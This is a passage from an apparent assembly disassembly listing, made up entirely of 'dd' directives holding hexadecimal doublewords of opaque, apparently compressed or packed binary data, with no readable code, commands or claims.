1A004637h, 0AAF28148h dd 0CD54F538h, 2FBFD5A6h, 17E14204h, 0F6926F15h, 0B2F5F0B7h dd 24AC7C40h, 0E28EA131h, 0E690B9F9h, 0D71804B8h, 81784855h dd 0BB0D00F7h, 8685D465h, 0B63840BAh, 0EA197D34h, 0ED0C5FE8h dd 468FBDCh, 75564D58h, 1491C70Ah, 0D5FFF81Ch, 761FA149h dd 16BC192Ch, 63ED008Ch, 0AA9CBFABh, 5BB8069Bh, 99958909h dd 42F5ED31h, 7510043Dh, 0FA428417h, 9B2038F4h, 8926B146h dd 6973437h, 82F12880h, 963AE92Ah, 1C0349D2h, 8F35382Eh dd 0DC010Ah, 65637845h, 6F697470h, 49206E1Ch, 728566DDh dd 0C12616Dh, 656C0A07h, 2C337397h, 75087C20h, 68743E64h dd 6C36CEF9h, 6977CF3Ch, 63CF67CFh, 73ED644Fh, 0DCCFF728h dd 0AFB54061h, 2ED91F07h, 20D06D2Ah, 16686754h, 0B779676Bh dd 0D0AF375h, 1A6047Fh dd 46702833h, 43620373h, 2B4C5254h, 9BD1FDAFh, 361E699Eh dd 8FA06497h, 7970A1C5h, 696C0847h, 61F06297h, 0A2296472h dd 56420336h, 9373EA65h, 0FB3DFB99h, 501ECE25h, 15638743h dd 0F4E496Bh, 4F846423h, 50705455h, 44FF6F72h, 0A30F2D1Dh dd 0E6200F3Bh, 3D746934h, 1E0B0F39h, 8E505179h, 0B81E18A3h dd 132C6F59h, 12D6282h, 0B24C0109h, 0E06E9AFh, 68351C42h dd 95C08125h, 42E4F3C2h, 85EA3544h, 7164E19h, 51164426h dd 36612430h, 853665ACh, 28E71B35h, 11875225h, 875EAC42h dd 66AC8F11h, 0ACAD1187h, 96118762h, 118756ACh, 875AAC9Eh dd 18A9A510h, 1D41450Ch, 262A2E1h, 27A9BD09h, 51953A19h dd 82B8D0Dh, 0C9115C85h, 8163B0DDh, 1C5AF8C2h, 5E8DB9D8h dd 52832195h, 40288234h, 0C03BD4C3h, 8429D510h, 22400CD1h dd 9D8B2A55h, 4CC32F13h, 6865980Ah, 2250C411h, 54421E52h dd 58E45E21h, 421E6222h, 0A556225Ch, 0DAB3EDCh, 506844AFh dd 645A52CDh, 56325A0Ch, 5E0C6219h, 22524386h, 48A954Eh dd 2280C51Ch, 0FF8B8907h, 24618571h, 24BA406Ah, 0DDD21952h dd 2C01E1ACh, 0C18BC141h, 8E6618EBh, 2C0BE9A1h, 0E602504h dd 289C3229h, 61394007h, 3404C232h, 644C50E6h, 8081460h dd 4FA355F6h, 0E9C32430h, 8B21C3F8h, 8F1C3FB5h, 0F01BE681h dd 33C66518h, 81A9B4E8h, 0D43C64Fh, 0D43B53Bh, 0E9860F39h dd 0D820D851h, 0CFE622F2h, 66506FC0h, 1224C88Ch, 10C00A03h dd 0B57E2A1Bh, 8B4294F6h, 94D4485h, 0DB0A1886h, 2C673F08h dd 32F63875h, 0CFC62404h, 93C15D2Bh, 3B083B08h, 0BFCE3D14h dd 0E0FE54C2h, 4A1CC0B1h, 66F34753h, 9FCB689h, 535B022Bh dd 0D04C0995h, 43A27082h, 13BBE011h, 0CBEF0653h, 0C303E380h dd 5750845Bh, 0ECC7BC76h, 31144F15h, 0BA448B08h, 0C59829E6h dd 7C068915h, 2EE51878h, 23336D24h, 5BBD2901h, 9A391A2h dd 243E8060h, 0BB4031EAh, 763AB7A1h, 0B101B01Ch, 333C4ADh dd 2C88AACh, 0D19032C3h, 0B32AACBh, 210140D2h, 91C90A4Ah dd 236FE5D6h, 4011DD0Dh, 0D48B5210h, 7A055773h, 0E9C03308h dd 80AA2103h, 8D61853Fh, 0BC505A5Fh, 0DC565153h, 0C8DB9732h dd 0D8F4AC31h, 81D3D100h, 465ABCC3h, 7DB0DE37h, 970B4919h dd 0C38B10E8h, 5B593A5Eh, 0A57B6029h, 0AC65E9C4h, 77682AEAh dd 1CE781C0h, 0FA086DFh, 465A8D8h, 0D430293Ch, 96EA38E4h dd 0C6604A6Eh, 21D2AE8Fh, 6E0640Ah, 7A22BD1Fh, 95E95A89h dd 1F90F3F6h, 2BA408Bh, 9B46F317h, 19219289h, 0ACFE3C14h dd 0A3FD1E46h, 0AE89E430h, 69A287D1h, 487690DFh, 7A004D72h dd 0CAB2B80Ch, 0A3BCA945h, 3006074Eh, 46C8D120h, 0FF70A3Bh dd 488DF182h, 280814EAh, 284C94BDh, 2456B828h, 20135351h dd 0C4A242Ch, 2D3CC267h, 4804079h, 32133498h, 0C3C112D8h dd 671C1508h, 5B0A1CD4h, 20375E59h, 3B702198h, 910ADD0Bh dd 0C519881h, 0C0081D55h, 8118FC86h, 732F3A60h, 0CD011D23h dd 0BDEAFFCAh, 2D4E6C4h, 0B966BC82h, 0A3D0C152h, 6018C0E4h dd 0FE10F18Ah, 7C699C61h, 6B5E0E43h, 40E1050h, 141423BEh dd 1BE89CC5h, 3419078Ch, 716AE2D9h, 62E89414h, 0A45E0080h dd 285BC109h, 2720E244h, 0B4E62352h, 54F3D001h, 59E28AEFh dd 4BE29345h, 0A03015F2h, 88605E85h, 620001C0h, 4AF89873h dd 2D258EEh, 0B663A239h, 30D961FCh, 0A8524B44h, 5CC09F6Eh dd 0E0C6D21Fh, 1A810FBEh, 49E1743Fh, 35AAE97Ch, 0DF6E6F35h dd 0BE3F007Ch, 22BD6166h, 0C2B48D0Fh, 0EF7D609Ch, 2B9C004h dd 3B207305h, 1580DF8Ch, 665D0E24h, 44DC7F7h, 16512EDh dd 0EA83B7B9h, 0FB88901Fh, 0D6378B4Bh, 0BE0019BFh, 24EBFE4Fh dd 0B1CFC28h, 43A53ECEh, 65EA2782h, 0FCAE2480h, 0E77180A6h dd 7C211A2h, 14E0BC3Eh, 0C44F0063h, 5E3224FFh, 11133850h dd 0D98E100Bh, 0AAB00074h, 0B4ED21F1h, 5128731Ch, 24EC9259h dd 16E0B939h, 0AB986787h, 43330BBAh, 8E4C222Ch, 0C48BFC1Ch dd 0BA60D180h, 4AB16FF9h, 6184B05Ch, 0EB01CD12h, 0E91671BCh dd 4E729969h, 0C016882Eh, 0BE2F59DDh, 0C5F1280Bh, 0F8954007h dd 148C250Fh, 61853053h, 86C03D49h, 3F55FC10h, 7182BF07h dd 0BB6BBF4h, 158A8FE9h, 1CA016C8h, 4180E576h, 0AB84B4D5h dd 6A61D1CCh, 0A028CB6Eh, 0CABD12F1h, 0A6731372h, 0B294E004h dd 0B8B511A9h, 0FF285001h, 57F5E712h, 0D9100782h, 0B60F80EDh dd 0C8FE0140h, 5A17B081h, 5F028B12h, 0F52F460h, 5EF1B700h dd 0FE7DC181h, 61362D23h, 17399B64h, 1679007Eh, 0C5957259h dd 43B600D1h, 2458401Eh, 1B981D60h, 1DC47085h, 0DFB8A460h dd 0BD74841Eh, 9665601h, 7742890Fh, 6BF06FF8h, 0E64594Dh dd 0B7DB4B2Fh, 149CA293h, 4CE5AFF7h, 0F488C0E2h, 0E1B4A0h dd 68015E0Dh, 0E47E1215h, 2E498004h, 0D0D5E917h, 7DE0B7FCh dd 207A7A0h, 96A1B64Fh, 0AF4B6860h, 0BED50082h, 0CC4560BCh dd 0E850C28Bh, 4009B1Ah, 9E067F6h, 3F573D5h, 7F17D451h dd 0D3B885C0h, 409592BEh, 2C8640F6h, 401DE85Ah, 0B76AEEACh dd 5E8C4600h, 7005B866h, 0C2810858h, 0F015FFEh, 94BEFBBFh dd 0FC18F0C4h, 7CCD30EEh, 8B99B00Ch, 0F531A09h, 0B8119086h dd 2C450002h, 0C3815F6Ch, 0D225AA87h, 6604374h, 0D7442A12h dd 2F0C0C08h, 1E648058h, 8E4AC4C7h, 8FF54301h, 0F1BC0E02h dd 0EA801585h, 2AEE9DB6h, 0C2C92395h, 3137FB2h, 1096C1D7h dd 1CA831Dh, 496A3DFCh, 60330811h, 4424DED6h, 3F1195F1h dd 0E0D3E325h, 80AE3289h, 8CF701ADh, 831244E9h, 0B40D0700h dd 3BA3AE7Ch, 0F4210006h, 0DC61B76Bh, 891774E0h, 0D4406DE9h dd 0CD0D16B5h, 54FAFCh, 3F315ADAh, 0CB050145h, 6D439B00h dd 0D5C20B7Dh, 0B920281Dh, 99BE3004h, 0C8727D11h, 4469D600h dd 0E2A130B7h, 0A36003DDh, 23BCE4ADh, 76403EA2h, 26F8BF0Ah dd 0D641AB0Dh, 28E0402Dh, 61FB886h, 0B146A91Ah, 580D285Eh dd 40BB1DDBh, 5059C8F8h, 0E88A382Dh, 0E1B318D4h, 0A28120DAh dd 1F1D9A1Fh, 92A73C00h, 79EC97B5h, 905F0730h, 30A30B22h dd 0F55B427Ah, 0A8DB9CC0h, 3E1694D5h, 0A4802508h, 4842862Eh dd 6E50AB20h, 51C13B44h, 90A5A937h, 637C3181h, 0BEC60DB3h dd 0AB4E8B80h, 5E070747h, 4CAA5C3h, 5B3F1F18h, 0A39B012Fh dd 7300EBC5h, 6601AE21h, 0D3D5B5D1h, 9449C1B9h, 30877521h dd 83A9EED4h, 10073F97h, 0F237A362h, 43F170DDh, 6AC007DEh dd 0DC0448CCh, 0DAFB0918h, 0A30BA210h, 783DE0B8h, 694A063h dd 0D2F702D5h, 19B2881Dh, 81A28081h, 3EB9E45Ch, 2965AB32h dd 1BCD10C1h, 93106D89h, 16001245h, 5E5B0BE2h, 3A9AE2Bh dd 0F47B79ACh, 3CC8C3F7h, 2200433Fh, 96E4D401h, 0C0328E49h dd 2E7C440Ah, 0C700F8E0h, 5727A77Ah, 3534BBh, 735F4330h dd 671A3D9Ch, 0F42AC200h, 0C1C5AA4Ah, 5CB0004h, 52A1D238h dd 3F02CE1Ch, 217E9C1Dh, 1380A04Bh, 1EA9C207h, 0F73C74AFh dd 0C04213Ah, 6BF7D4FEh, 1D29360Bh, 67A880F3h, 0A9C85h dd 904EE268h, 6932FA9Bh, 9E1473E4h, 72C4DFFh, 266ADFF8h dd 246BB4A0h, 0FE9D0001h, 4AF3982Fh, 300132Ah, 0E658F71h dd 0D2C229h, 40FB9E2Eh, 0DA458CE3h, 25C08D0Ah, 510E8181h dd 8CAF8C6Fh, 0CFD81FE6h, 1B003DCBh, 1EB8B702h, 8C009779h dd 0EB1F7267h, 0C52CCEh dd 0CF4943E6h, 0D1B1B60Ah, 0B0B50303h, 0A0619BCCh, 9917A1h dd 0AC94513Fh, 15D105B1h, 97070DB8h, 0ED2EFCCAh, 0ADF8E350h dd 0F4AF00DEh, 0C0188435h, 5A007891h, 108E51A5h, 130E8DB1h dd 0F43D88h, 4839F7BDh, 1F0073ABh, 8DB23058h, 0F659E0h dd 0CE5BC742h, 0ECCC3486h, 874A6539h, 2FCB9BC5h, 0B700BF1Ah dd 0C45F8F9Dh, 526F007Eh, 0E2B2D034h, 302E5ACEh, 0D7034EA7h dd 99609B32h, 7DD836B0h, 0B5050267h, 7FE69654h, 78936C48h dd 0CE648309h, 6BAB80EFh, 5842CCh, 0C803D4F2h, 0D0273571h dd 0F4E7040Fh, 417400FDh, 5832BDB2h, 9E010536h, 0ABA748DEh dd 0D99020D8h, 0DF739903h, 98BC6128h, 70A0371h, 55CFBF76h dd 9D8060C1h, 3D008A09h, 0B22BD762h, 0E7892AAh, 0C248F6FFh dd 0EFC4140h, 0F1000895h, 9C34D69Dh, 9C05E13h, 2092BD3Dh dd 0E43C2000h, 8300B33Fh, 0BF01D6E2h, 108524BAh, 0AF41FB7h dd 0F88D64C2h, 0AAC40704h, 0A3666080h, 0DB100F2h, 27CB581Eh dd 0F900A6F7h, 43D8DDDAh, 603DD6A4h, 3E140F5h, 0B200678Eh dd 970651EBh, 0FBF6ACh, 0C5763195h, 27EF4356h, 0D39BE909h dd 0E4AC00AFh, 34A284h, 18634616h, 0D1EAED1Ah, 0C0518B00h dd 0EC0A4D36h, 29F200CAh, 0BA7A3F20h, 0BB50735Eh, 0DE24DFC8h dd 0A500E5C9h, 4777C513h, 140AC161h, 0E9105EACh, 0BF8FF8F3h dd 3136B800h, 7EF10134h, 0A74E0081h, 5B97CBC8h, 5F001814h dd 0EC58A38Eh, 7E07A99h, 0F2E6DA16h, 6B53D0CDh, 0A6034D3Dh dd 0D88DAEC3h, 0E384C85Ch, 7B760044h, 32734B3h, 36E03A37h dd 244ADE00h, 9DB84CFBh, 5EEED9h, 0ABAAF530h, 0F8C61462h dd 3141AF0Eh, 6AC0808Bh, 6E5EA9h, 0AECDE4C7h, 0B887A5F9h dd 0A108500h, 0E466B40h, 706F469h, 0DB0F7E3Ch, 8C793042h dd 6B304CF2h, 0BEF3183Ah, 0C3DD00A2h, 0E2B58DA0h, 0F2008859h dd 5318AFE9h, 0EE8673h, 8BD5D41Eh, 8144DA6Eh, 1900957Bh dd 0FB187E69h, 1573B29h, 0EFBB3309h, 0C412DFD1h, 8E1DF6C2h dd 0C4C35BAFh, 0FF5E6276h, 0DBF787E0h, 47840073h, 0D588B057h dd 1F00702Dh, 4E6CDABDh, 9EF9B7Eh, 572338F2h, 0C7C4E420h dd 10005F93h, 0D8C3905Dh, 358278Dh, 7464158Ch, 1100548Bh dd 82BC263Ch, 7D14C3Eh, 0EF1E566Dh, 0AA9D508Bh, 32FADD31h dd 57486601h, 724E899Ch, 770AD7F8h, 56B40091h, 0A8C3F226h dd 0F60F41CCh, 8639D6A6h, 0D447DDh, 8670E029h, 8F2C2880h dd 0CA0FCFE8h, 0ABC50Bh, 0DD484698h, 44490092h, 28BA96E1h dd 1B0018A3h, 0E9FAAB31h, 7F861FD3h, 980B2CAh, 88270591h dd 0C0E7A402h, 0BCE38CC8h, 94EA2524h, 0B44CA200h, 0DF867h dd 71996964h, 0BFCB39EBh, 0A2A71900h, 0A3A818C2h, 2541000Dh dd 65B24AC4h, 6A1EE3F6h, 1EFEE943h, 60C0E807h, 1081AAEAh dd 4A6B00F2h, 0FF1FB17Ch, 0C81023E4h, 7324B9DFh, 0C2100041h dd 0B59A711h, 0A6F5B41Dh, 0F2408040h, 8830A4h, 4D53233Ah dd 94C8C5A2h, 73B05D59h, 2C5F5C00h, 0F3ABA8C7h, 0EC371221h dd 74940BEEh, 4C806E89h, 0B3B2FD20h, 0B3A9800h, 0BAFBA03Bh dd 34B04Ch, 0D652BF42h, 694C931h, 86D03200h, 273C1E69h dd 0FC500C05h, 21C83A1Dh, 34E35B26h, 206B5501h, 0A8C580F8h dd 0A3D8E0h, 0A5872C2Eh, 2D7E38DBh, 43E1AE00h, 45B0FAF9h dd 0C729263Dh, 266F00B8h, 0D806EB4Ah, 1357FC05h, 0A490568Ch dd 2C82AF7h, 11F1474Eh, 46409098h, 6048DDE6h, 1029002Ah dd 41A878F3h, 4AD300B7h, 978DFFB6h, 4904D03h, 0F80996E6h dd 805D992Ch, 51D2DADCh, 15620578h, 402322ADh, 0E91187BCh dd 0B4073EE3h, 0B753EA84h, 88FCA9h, 0BC4EEE88h, 4700F28Bh dd 48F18ABBh, 0A0F089BAh, 18C1310Ch, 841F790h, 4204758Dh dd 0BDE59FBBh, 0C33C2C90h, 7EB8F822h, 16241E4Ah, 15440165h dd 873DBD3Eh, 0DD54A688h, 3C46CD63h, 93003C11h, 0E7B03389h dd 533AD86Dh, 7A940027h, 0CB4526B6h, 2C500317h, 144F2AC6h dd 55F6CDD0h, 0AF90F700h, 769BEB13h, 0DE9F0EE1h, 4187E69Eh dd 0CC3A902Ah, 13306F87h, 0F12118DBh, 0D5F1FDCh, 8A449C61h dd 81C4229Ah, 5EBE0CA0h, 1948F052h, 0EE1F2600h, 7DA378F9h dd 0B81C61DAh, 40E49F33h, 576DA278h, 0C00B9EAh, 3A356AD4h dd 0E8B30Ah, 0F0848322h, 0FF91D618h, 8323BF38h, 9E6617Eh dd 7840DE0Bh, 44922C19h, 5C930E5Fh, 484252A3h, 0E29FACC8h dd 1F29B160h, 7266C61h, 0A3E78CC8h, 0A42CC1B2h, 0F48980CFh dd 482F2A4Fh, 33FC92EBh, 18480858h, 0EA03ABE0h, 0E898E1FCh dd 0DD9CA716h, 0C1E23B06h, 1EF4E9F8h, 88A5302Dh, 0BFA31F50h dd 90B908C3h, 0E3C3CB5Ch, 0E4F02508h, 75BEA007h, 859C0126h dd 0F0C00162h, 0E00CA09h, 3B221F1Bh, 0BF0A67h, 0B65924BEh dd 32686D5h, 82129DEh, 108868C6h, 55C8858h, 2600A291h dd 742BBF4Eh, 0BDE60815h, 0C256B600h, 0DA1840Bh, 0E9340057h dd 0AE88D555h, 0FE13778Bh, 560B46F5h, 8D48A043h, 5E15AB0h dd 21E93D53h, 0AA4CC038h, 0A051890Ch, 802C6089h, 6004E44Ah dd 38A0B48Fh, 6104A57h, 29F1B3A0h, 0B49F6C0Dh, 3FEC1969h dd 20673050h, 0FA08F410h, 0CA1DD100h, 8A961576h, 3CF10077h dd 4720CEC0h, 0B0011893h, 0FE4E7E8Ch, 513055C8h, 3E6E009Ch dd 5A8D8AEEh, 2000D49Bh, 5270D6C1h, 0DC9361h, 79A2473Dh dd 1F533DFh, 1A0B8300h, 87E22BB6h, 3A180425h, 0B05103A5h dd 0B103C178h, 7910C75Bh, 1B5A98A4h, 0A75E07F2h, 60A93CE8h dd 71F18597h, 0EF4A2500h, 0AA929A13h, 0DEE72660h, 0F7144040h dd 0D90AF07Ch, 9C39BE85h, 25A84600h, 0B0678778h, 8C9454C4h dd 3296001Ch, 204FA493h, 315DC86Ch, 0FC448E8h, 29F397h dd 6F82CFC9h, 3954691Bh, 911EFE82h, 0EA02EC80h, 3E054837h dd 8AD8269Ah, 4B8DA490h, 0A3C4002Bh, 2C1AA5D6h, 0B60F3DB7h dd 0C3ACBCB9h, 0DA1B3553h, 0D9D04820h, 160F067Fh, 69E1A3CBh dd 0A87CBE02h, 0C0BF1C72h, 1D55037h, 9E2BA471h, 806C3387h dd 2224EF29h, 0C4C7C1h, 7C425DEEh, 0BE36FCB0h, 81B4B100h dd 0E6DFFD72h, 0C5602441h, 0E81614h, 0D7503738h, 0D200C196h dd 0B245B77Eh, 2B93F0Dh, 0AB4A807h, 0AD40C7D4h, 8F005FDBh dd 2A4B1CF3h, 710AF7Bh, 0B70A333Bh, 0B901A0D9h, 0EA004DD7h dd 7BBD831Dh, 75787h, 0F5FBC1D1h, 0D26A7C79h, 864D41CAh dd 64AEE600h, 3E6C5C85h, 0DC807562h, 0B577A0CCh, 2300B22Fh dd 9DA98C33h, 126ABE73h, 0C0972868h, 55A1C0F8h, 0EA7B04ECh dd 0BC94CD14h, 724B00A4h, 399AE836h, 0E3310C7Fh, 0A80ACCDBh dd 7CCA1800h, 0FB126058h, 25782Bh, 856DA09Dh, 3BB9EDEAh dd 4373400h, 0CB8380EFh, 0C50F16FAh, 4CD80FF2h, 70E64627h dd 34B4A97Fh, 4FE00300h, 81CC5138h, 0CA390282h, 269C63B7h dd 9E24A480h, 93005868h, 6537C160h, 0EBAC2Ch, 6D39459h dd 0FFD8B8BDh, 4673C000h, 74B06DBFh, 0A61E31E2h, 0DCCD9A40h dd 18C77E97h, 835E6E1Fh, 0E0EE5D63h, 38C1C5F2h, 87028C2Bh dd 726861A9h, 3DABE060h, 0DEAE2A05h, 0B803C941h, 0F35FFECAh dd 2730A84Eh, 0FF8A1E56h, 9E0BC021h, 8CBB5CF2h, 8500AC96h dd 0D48B1EEEh, 0F46873B4h, 22B62757h, 6F6D9C07h, 35B549A0h dd 2B070DE9h, 0E6565DD7h, 60A3ABF2h, 0ECF50Ch, 0B440BA50h dd 3B82499Dh, 0A12C490h, 7400E96Ch, 4E9773CCh, 1D300DFh dd 0C29F9369h, 1A7B9CADh dd 0EAD1320Eh, 0C00BC075h, 7E2A5C1h, 0F37FAF5Bh, 420EE005h dd 32500C57h, 0E300948Ch, 0D0EFE9F2h, 4485983h, 29659A4Bh dd 0EEE0B028h, 0F800FAEAh, 0F1C678C7h, 9E8EA2Fh, 0E1EFE01Ah dd 965FA898h, 0A8DCD901h, 0A36F234Ch, 48C5DCh, 8F1D152Fh dd 7A90AF73h, 80B04A3Bh, 8DB14B7Bh, 204D7Dh, 75CF3F74h dd 4FEBBC38h, 724FE4Ch, 0C66E0CD8h, 516F6BB0h, 0C8D91803h dd 1708A0CBh, 0AD8FD824h, 1416701Ch, 4A42A040h, 90A2C3A5h dd 164B01D4h, 5CFB6C83h, 11BF468h, 4C978E00h, 0AA95044Dh dd 94C91D34h, 0A7830571h, 2368333h, 7CA51E8h, 137C2158h dd 1C004ED3h, 73EE1523h, 3BB7006Ch, 8684BAC2h, 341D050Dh dd 1DC054CEh, 9225F794h, 2B14EDBh, 29BD68B0h, 75094460h dd 983D3905h, 0DCC0D6B6h, 1E88F13Eh, 40CC485Fh, 7A15F8C1h dd 0E600F9ABh, 1F9F4D17h, 28B09989h, 0D85E6Dh, 0C9D543F5h dd 1BC2B20Eh, 0DD2CC00h, 0CD68DB2Fh, 5890A8h, 0FAEA8955h dd 457875F9h, 5D77AE01h, 0C18EE111h, 0B8F709D9h, 12D04A4Bh dd 7D51DD7h, 7051B196h, 55A2F146h, 0ED3B8500h, 8287399Fh dd 4F1F0D9Bh, 0F460DCB3h, 0E000D06Fh, 0F9C71410h, 0EE0C48DBh dd 7589246Bh, 0DD1103A4h, 98A012ABh, 0CB382EF6h, 0B3030BCEh dd 0F1181195h, 115AC0h, 7CF5AA63h, 0A31DCFDFh, 0E2BB5E01h dd 7669D5FBh, 6A5AA681h, 205710D4h, 0C6008CECh, 0D9444573h dd 0FE4CD675h, 24DE7DFCh, 30D05F33h, 935951A0h, 412AA3Fh dd 0E4CBF635h, 0BB36B0C1h, 0A6F0C1D9h, 0CA0A0E58h, 0D189E9EEh dd 64755B80h, 0C100575Ch, 40FC9622h, 0F2632FCAh, 0F63D0083h dd 784F8514h, 0FB1F199Ch, 6081F971h, 36C362C6h, 4DFF60h dd 0C1D86E73h, 0D0B56CEh, 0F62CF100h, 0A09C61FCh, 0EA3A006Ah dd 6245A4B4h, 500D6F4h, 2D177493h, 6B00316h, 198072E8h dd 3F002870h, 0F532B28Eh, 127EFCDAh, 80BBB33Ah, 0F1021F64h dd 0C96F7600h, 6BB8C039h, 60E0287h, 5158D238h, 0D0A1D440h dd 0AADF6901h, 6627DE72h, 4852B075h, 4F878BEh, 2E48985h dd 8A4C80D9h, 59F0D53Dh, 8417B13Ch, 9DEE1EECh, 0C000C8C4h dd 13639377h, 4D730E65h, 24C0B248h, 3F8156CFh, 9BD62100h dd 6B6D02C8h, 0B2070555h, 0D0CA6636h, 0E78652B8h, 1CBA1B1Fh dd 3C9B183Ah, 26481DD0h, 9728DEA0h, 0DF840360h, 0F10E39E9h dd 0C1528792h, 842C94A1h, 3FFCCE4h, 6ADF1AE3h, 7AC10223h dd 394180B7h, 80B8B5BAh, 29792664h, 3FB980D0h, 0D0D7E643h dd 83ECCC38h, 0EBEFCFD3h, 0E7F0C8D4h, 0F4F2D8h, 0F3D2D7E0h dd 0F2D1D6E1h, 0DDCA0CA0h, 14469EBh, 55F108Fh, 2CE780A1h dd 3E5E5861h, 0BD44B060h, 0DDF0AD34h, 0FB86310Ch, 0F8A9E8CDh dd 978519F9h, 0E0F511CBh, 0F0008874h, 1845983Ch, 137ED57h dd 0A1659B1Fh, 703E67B0h, 16305F7Bh, 0E4A030ABh, 0A5615BDh dd 0A91FA024h, 709E19DDh, 34918FD9h, 5F7A806Fh, 2544286Dh dd 749941E2h, 0B81834h, 3C78420Ah, 0D609229Ah, 1F1B0800h dd 2E804045h, 6AD40071h, 0E2D8BF0Ah, 0F7EA8AABh, 79BDD0A8h dd 0EAD4D703h, 0A8F0E335h, 0E61467DBh, 3C61C54h, 0F2A54044h dd 9B0AF51Dh, 0A7337000h, 958441FCh, 0E45E00D6h, 0E76E9707h dd 3718E8A8h, 0D83065BCh, 15CC264Ah, 0B1580BB8h, 4E814EFh dd 19ACAFFh, 0A7092804h, 211884F4h, 0D0B06E3Dh, 66524440h dd 7D211F3h, 6FE42200h, 422C29C8h, 702F0BC5h, 44713C84h dd 29445118h, 42AA480Dh, 42472B7h, 120EC821h, 76EC1096h dd 9708F089h, 84821244h, 54789022h, 89173CDCh, 445A086Eh dd 2284C87Fh, 8FF1DF7h, 0B484442Ah, 89EC7D84h, 0A1FE0846h dd 0A408A014h, 84322044h, 8C89597Ch, 12F9FE08h, 88A8101Eh dd 18137889h, 676EE9C0h, 0B831D100h, 67F73B0h, 54B0FEh dd 12F04950h, 0D761C899h, 0D66AB200h, 23B76E1Fh, 8040946Ch dd 7DB94CD8h, 0FA26DC81h, 8204F8DBh, 0E5FCD35h, 0B803D4E0h dd 99F7CCB3h, 4FC0A893h, 3200C1B0h, 8873403Dh, 3340422h dd 272FFF1Dh, 79B1D19Dh, 3031E0E1h, 3B787C00h, 8A80BC82h dd 0D40A005Ah, 0BB11F885h, 4249D8F9h, 90CB2D48h, 0B8D1E04Ch dd 645F03C8h, 0AF2ADE91h, 5B1E46A0h, 13981900h, 52EC37F6h dd 48F262C5h, 0F72FFDA5h, 1C879C88h, 503439h, 725C5570h dd 217FD5F4h, 2440052Eh, 0D2088E00h, 5F1FCC2h, 9AF73E27h dd 38D09088h, 96059113h, 0ECB27E32h, 3837A0A0h, 0D4008F01h dd 0AFF59EE9h, 75002674h, 0CAC40C57h, 0BA08C65Ah, 67D82284h dd 0BB9D4118h, 80E4311h, 0DC354FF3h, 0E4B43001h, 0AC704447h dd 660400D0h, 0F5F27D76h, 0F40031C1h, 42D7DCE3h, 72114575h dd 0D2771DE0h, 6F4C43E9h, 0A1F1BCF1h, 4107C870h, 10CFE3Dh dd 93873B25h, 56EC777Dh, 0F9DB00E7h, 0B12371BEh, 3A0035BDh dd 0D9FA666Dh, 1E6AB4BBh, 0E81E848Fh, 0D50202A4h, 9C528582h dd 3E9ADCE0h, 931D192Eh, 34676400h, 0BAFACBBh, 637192B3h dd 1EB9F000h, 60054A2h, 509DEBD5h, 0EA3888h, 2BC79817h dd 0B3303544h, 9BE3CF00h, 0B010CA53h, 47FE3892h, 8E4ADE80h dd 93B11902h, 1C44C317h, 0F8C4E400h, 9E8DAh, 0C139C665h dd 784EB4E3h, 58117E00h, 718D4DF5h, 892E255Eh, 9C720080h dd 0A04CE57h, 44D98B6h, 0FC4C13C0h, 0BDAB0006h, 94122C3Ah dd 522E26F5h, 540048FAh, 6FB5D7E9h, 0DC250024h, 2898408Dh dd 1700A923h, 0CD4255C4h, 0C1661BBh, 7058FC18h, 73076F54h dd 7859FEF7h, 0CCC1988Dh, 40EABDFDh, 554080h, 7A96B40Ah dd 0AB76E192h, 951B0C03h, 0D8A2B101h, 902450C5h, 79F7D27h dd 0F4EB8ACDh, 3526204Fh, 3F007475h, 5E5ADFA5h, 92F62Fh dd 0DA8D6295h, 2325B64Fh, 891E9802h, 80F122E7h, 5FADC580h dd 75141CCBh, 175EC0A8h, 0E4AB62F6h, 93EC407Eh, 8FF5893Fh dd 0E1EB4E29h, 64A6969Eh, 5CE2D8h, 102D35AEh, 0DDF480FBh dd 42C28900h, 0AC4A139Ch, 87780029h, 7464026Dh, 0CE00EC7Bh dd 2136B1D8h, 0F35FC7h, 0C6777F54h, 0CCE0AA44h, 0F4073A7Eh dd 0E892AD95h, 7060C049h, 0C96A0B9Ah, 0AC4193DEh, 0E84CE01Bh dd 89D4CA0Eh, 0B60660E9h, 1089433h, 0C23BCF6Eh, 0EFCB5C4Bh dd 0E818F2A1h, 6A045460h, 0FB6647EDh, 0B9EEA880h, 80726Fh dd 976EF51Bh, 8CF77D0Ah, 8055A43Ah, 0E2C5A727h, 4D655674h dd 0BF023089h, 0A305AAEh, 801EC28Fh, 0C5E5FCDFh, 2301BE11h dd 0A3D2F422h, 302E691Eh, 26C5AA0Ch, 0B30053B8h, 0AF8EE728h dd 149C30D5h, 0C8F05AFAh, 26E68D00h, 70ACDC93h, 4F0925E6h dd 48732ABEh, 51CBC0h, 15F13DBDh, 5E65DF23h, 0B32CDE00h dd 0FD7694ABh, 0B88095F4h, 8A51A5BCh, 12C84350h, 20F1742Dh dd 0B1D9E87Ch, 9BA918FDh, 9D23F81Eh, 18E40907h, 8F23F829h dd 33C8F8EAh, 314B75h, 4717A248h, 193E53ABh, 9A678736h dd 0B720FE7Fh, 0BE0CC3h, 0BC719BA7h, 16B83E68h, 38BDDE00h dd 0D3FC0AEDh, 31CC031Fh, 0B1E3FDD0h, 0DF1695F0h, 5181D700h dd 11869908h, 71A7097Eh, 7C008FFEh, 0BFE1444Bh, 0A303A400h dd 1A76362Bh, 4CD35C2Ah, 9328B1Eh, 5890DA28h, 0BF750D9Bh dd 0A586800h, 52A018BCh, 656B003Bh, 0ACE0DD8Ah, 2D382A45h dd 777480FAh, 0C3C0AF44h, 4F3A010Ah, 7A99FB04h, 6486E58Ch dd 0BDF8C910h, 0E827697Dh, 2D94A073h, 260AA9C6h, 0BA40653Ch dd 0E69928h, 31871675h dd 24B3B2C2h, 0DCE9A807h, 6423F0E0h, 1154E06Fh, 2CF200A4h dd 25C4BF8Dh, 4C002D17h, 5A20AC80h, 1FF626E4h, 1E70A5h dd 958D27DFh, 56F844B2h, 0A70A570Bh, 0C44707CFh, 0EE491951h dd 0E0511C0h, 456C9FD1h, 792DC05Fh, 0F91DAB66h, 6429C400h dd 2EA8E7D9h, 77FDF677h, 6BB400F6h, 6723984Dh, 3503CD6Ch dd 4F0CFBECh, 38D7D85Dh, 75C9049h, 0AEB1E93Ah, 4A651EFh dd 5840D603h, 7F078DE5h, 0C85534EBh, 159F0039h, 7C3CB82h dd 7416CD61h, 499691A9h, 0BE37EC6Eh, 8486B600h, 0CE3C030Bh dd 0F04D0454h, 8114A11Ah, 2044E248h, 0CC266A58h, 1AC00049h dd 2A302B6h, 643452B8h, 24E0F521h, 60005D29h, 4EDEAEBEh dd 0FA9F89F9h, 777B00BFh, 